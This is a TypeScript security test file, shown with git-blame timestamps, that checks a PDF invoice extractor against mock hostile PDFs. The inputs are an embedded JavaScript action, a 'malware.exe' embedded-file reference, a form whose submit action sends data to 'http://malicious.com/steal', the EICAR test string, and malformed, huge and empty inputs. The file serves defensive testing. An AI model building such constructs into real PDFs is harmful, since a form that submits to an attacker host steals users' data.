2025-05-29 13:35:36 +00:00
|
|
|
import { tap, expect } from '@git.zone/tstest/tapbundle';
|
2025-05-25 19:45:37 +00:00
|
|
|
import * as plugins from '../plugins.js';
|
2025-05-29 13:35:36 +00:00
|
|
|
import { PDFExtractor } from '../../../ts/index.js';
|
2025-05-25 19:45:37 +00:00
|
|
|
import { PerformanceTracker } from '../performance.tracker.js';
|
|
|
|
|
|
|
|
const performanceTracker = new PerformanceTracker('SEC-03: PDF Malware Detection');
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
tap.test('SEC-03: PDF Malware Detection - should detect and prevent malicious PDFs', async () => {
|
|
|
|
// Test 1: Test PDF extraction with potentially malicious content
|
2025-05-25 19:45:37 +00:00
|
|
|
const javascriptDetection = await performanceTracker.measureAsync(
|
2025-05-29 13:35:36 +00:00
|
|
|
'javascript-in-pdf-extraction',
|
2025-05-25 19:45:37 +00:00
|
|
|
async () => {
|
|
|
|
// Create a mock PDF with JavaScript content
|
|
|
|
const pdfWithJS = createMockPDFWithContent('/JS (alert("malicious"))');
|
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
const extractor = new PDFExtractor();
|
|
|
|
const result = await extractor.extractXml(pdfWithJS);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
// If extraction succeeds, check if any XML was found
|
2025-05-25 19:45:37 +00:00
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: result.success,
|
|
|
|
xmlFound: !!(result.xml && result.xml.length > 0),
|
2025-05-25 19:45:37 +00:00
|
|
|
threat: 'javascript'
|
|
|
|
};
|
|
|
|
} catch (error) {
|
2025-05-29 13:35:36 +00:00
|
|
|
// If it throws, that's expected for malicious content
|
2025-05-25 19:45:37 +00:00
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: false,
|
|
|
|
xmlFound: false,
|
2025-05-25 19:45:37 +00:00
|
|
|
threat: 'javascript',
|
|
|
|
error: error.message
|
|
|
|
};
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
console.log('JavaScript detection result:', javascriptDetection);
|
|
|
|
// PDFs with JavaScript might still be processed, but shouldn't contain invoice XML
|
|
|
|
expect(javascriptDetection.xmlFound).toEqual(false);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
// Test 2: Test with embedded executable references
|
2025-05-25 19:45:37 +00:00
|
|
|
const embeddedExecutable = await performanceTracker.measureAsync(
|
|
|
|
'embedded-executable-detection',
|
|
|
|
async () => {
|
2025-05-29 13:35:36 +00:00
|
|
|
// Create a mock PDF with embedded EXE reference
|
2025-05-25 19:45:37 +00:00
|
|
|
const pdfWithExe = createMockPDFWithContent(
|
|
|
|
'/EmbeddedFiles <</Names [(malware.exe) <</Type /Filespec /F (malware.exe) /EF <</F 123 0 R>>>>]>>'
|
|
|
|
);
|
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
const extractor = new PDFExtractor();
|
|
|
|
const result = await extractor.extractXml(pdfWithExe);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: result.success,
|
|
|
|
xmlFound: !!(result.xml && result.xml.length > 0),
|
2025-05-25 19:45:37 +00:00
|
|
|
threat: 'executable'
|
|
|
|
};
|
|
|
|
} catch (error) {
|
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: false,
|
|
|
|
xmlFound: false,
|
2025-05-25 19:45:37 +00:00
|
|
|
threat: 'executable',
|
|
|
|
error: error.message
|
|
|
|
};
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
console.log('Embedded executable result:', embeddedExecutable);
|
|
|
|
expect(embeddedExecutable.xmlFound).toEqual(false);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
// Test 3: Test with suspicious form actions
|
2025-05-25 19:45:37 +00:00
|
|
|
const suspiciousFormActions = await performanceTracker.measureAsync(
|
|
|
|
'suspicious-form-actions',
|
|
|
|
async () => {
|
|
|
|
// Create a mock PDF with form that submits to external URL
|
|
|
|
const pdfWithForm = createMockPDFWithContent(
|
|
|
|
'/AcroForm <</Fields [<</Type /Annot /Subtype /Widget /A <</S /SubmitForm /F (http://malicious.com/steal)>>>>]>>'
|
|
|
|
);
|
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
const extractor = new PDFExtractor();
|
|
|
|
const result = await extractor.extractXml(pdfWithForm);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: result.success,
|
|
|
|
xmlFound: !!(result.xml && result.xml.length > 0),
|
2025-05-25 19:45:37 +00:00
|
|
|
threat: 'form-action'
|
|
|
|
};
|
|
|
|
} catch (error) {
|
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: false,
|
|
|
|
xmlFound: false,
|
2025-05-25 19:45:37 +00:00
|
|
|
threat: 'form-action',
|
|
|
|
error: error.message
|
|
|
|
};
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
console.log('Form actions result:', suspiciousFormActions);
|
|
|
|
expect(suspiciousFormActions.xmlFound).toEqual(false);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
// Test 4: Test with malformed PDF structure
|
|
|
|
const malformedPDF = await performanceTracker.measureAsync(
|
|
|
|
'malformed-pdf-handling',
|
2025-05-25 19:45:37 +00:00
|
|
|
async () => {
|
2025-05-29 13:35:36 +00:00
|
|
|
// Create a malformed PDF
|
|
|
|
const badPDF = Buffer.from('Not a valid PDF content');
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
const extractor = new PDFExtractor();
|
|
|
|
const result = await extractor.extractXml(badPDF);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: result.success,
|
|
|
|
xmlFound: !!(result.xml && result.xml.length > 0),
|
|
|
|
error: null
|
2025-05-25 19:45:37 +00:00
|
|
|
};
|
|
|
|
} catch (error) {
|
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: false,
|
|
|
|
xmlFound: false,
|
2025-05-25 19:45:37 +00:00
|
|
|
error: error.message
|
|
|
|
};
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
console.log('Malformed PDF result:', malformedPDF);
|
|
|
|
expect(malformedPDF.extracted).toEqual(false);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
// Test 5: Test with extremely large mock PDF
|
|
|
|
const largePDFTest = await performanceTracker.measureAsync(
|
|
|
|
'large-pdf-handling',
|
2025-05-25 19:45:37 +00:00
|
|
|
async () => {
|
2025-05-29 13:35:36 +00:00
|
|
|
// Create a PDF with lots of repeated content
|
|
|
|
const largeContent = '/Pages '.repeat(10000);
|
|
|
|
const largePDF = createMockPDFWithContent(largeContent);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
const extractor = new PDFExtractor();
|
|
|
|
const result = await extractor.extractXml(largePDF);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: result.success,
|
|
|
|
xmlFound: !!(result.xml && result.xml.length > 0),
|
|
|
|
size: largePDF.length
|
2025-05-25 19:45:37 +00:00
|
|
|
};
|
|
|
|
} catch (error) {
|
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: false,
|
|
|
|
xmlFound: false,
|
|
|
|
size: largePDF.length,
|
2025-05-25 19:45:37 +00:00
|
|
|
error: error.message
|
|
|
|
};
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
console.log('Large PDF result:', largePDFTest);
|
|
|
|
// Large PDFs might fail or succeed, but shouldn't contain valid invoice XML
|
|
|
|
expect(largePDFTest.xmlFound).toEqual(false);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
// Test 6: Test EICAR pattern in PDF
|
2025-05-25 19:45:37 +00:00
|
|
|
const eicarTest = await performanceTracker.measureAsync(
|
2025-05-29 13:35:36 +00:00
|
|
|
'eicar-test-pattern',
|
2025-05-25 19:45:37 +00:00
|
|
|
async () => {
|
|
|
|
// EICAR test string (safe test pattern for antivirus)
|
|
|
|
const eicarString = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*';
|
|
|
|
const pdfWithEicar = createMockPDFWithContent(
|
|
|
|
`/EmbeddedFiles <</Names [(test.txt) <</Type /Filespec /EF <</F <</Length ${eicarString.length}>>${eicarString}>>>>]>>`
|
|
|
|
);
|
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
const extractor = new PDFExtractor();
|
|
|
|
const result = await extractor.extractXml(pdfWithEicar);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: result.success,
|
|
|
|
xmlFound: !!(result.xml && result.xml.length > 0),
|
2025-05-25 19:45:37 +00:00
|
|
|
threat: 'eicar-test'
|
|
|
|
};
|
|
|
|
} catch (error) {
|
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: false,
|
|
|
|
xmlFound: false,
|
2025-05-25 19:45:37 +00:00
|
|
|
threat: 'eicar-test',
|
|
|
|
error: error.message
|
|
|
|
};
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
console.log('EICAR test result:', eicarTest);
|
|
|
|
expect(eicarTest.xmlFound).toEqual(false);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
// Test 7: Test empty PDF
|
|
|
|
const emptyPDFTest = await performanceTracker.measureAsync(
|
|
|
|
'empty-pdf-handling',
|
2025-05-25 19:45:37 +00:00
|
|
|
async () => {
|
2025-05-29 13:35:36 +00:00
|
|
|
const emptyPDF = Buffer.from('');
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
const extractor = new PDFExtractor();
|
|
|
|
const result = await extractor.extractXml(emptyPDF);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: result.success,
|
|
|
|
xmlFound: !!(result.xml && result.xml.length > 0)
|
2025-05-25 19:45:37 +00:00
|
|
|
};
|
|
|
|
} catch (error) {
|
|
|
|
return {
|
2025-05-29 13:35:36 +00:00
|
|
|
extracted: false,
|
|
|
|
xmlFound: false,
|
2025-05-25 19:45:37 +00:00
|
|
|
error: error.message
|
|
|
|
};
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
console.log('Empty PDF result:', emptyPDFTest);
|
|
|
|
expect(emptyPDFTest.extracted).toEqual(false);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
// Performance tracking complete - summary is tracked in the static PerformanceTracker
|
2025-05-25 19:45:37 +00:00
|
|
|
});
|
|
|
|
|
|
|
|
// Helper function to create mock PDF content
|
|
|
|
function createMockPDFWithContent(content: string): Buffer {
|
|
|
|
const pdfHeader = '%PDF-1.4\n';
|
|
|
|
const pdfContent = `1 0 obj\n<<${content}>>\nendobj\n`;
|
|
|
|
const xref = `xref\n0 2\n0000000000 65535 f\n0000000015 00000 n\n`;
|
|
|
|
const trailer = `trailer\n<</Size 2 /Root 1 0 R>>\n`;
|
|
|
|
const eof = `startxref\n${pdfHeader.length + pdfContent.length}\n%%EOF`;
|
|
|
|
|
|
|
|
return Buffer.from(pdfHeader + pdfContent + xref + trailer + eof);
|
|
|
|
}
|
|
|
|
|
|
|
|
// Run the test
|
|
|
|
tap.start();
|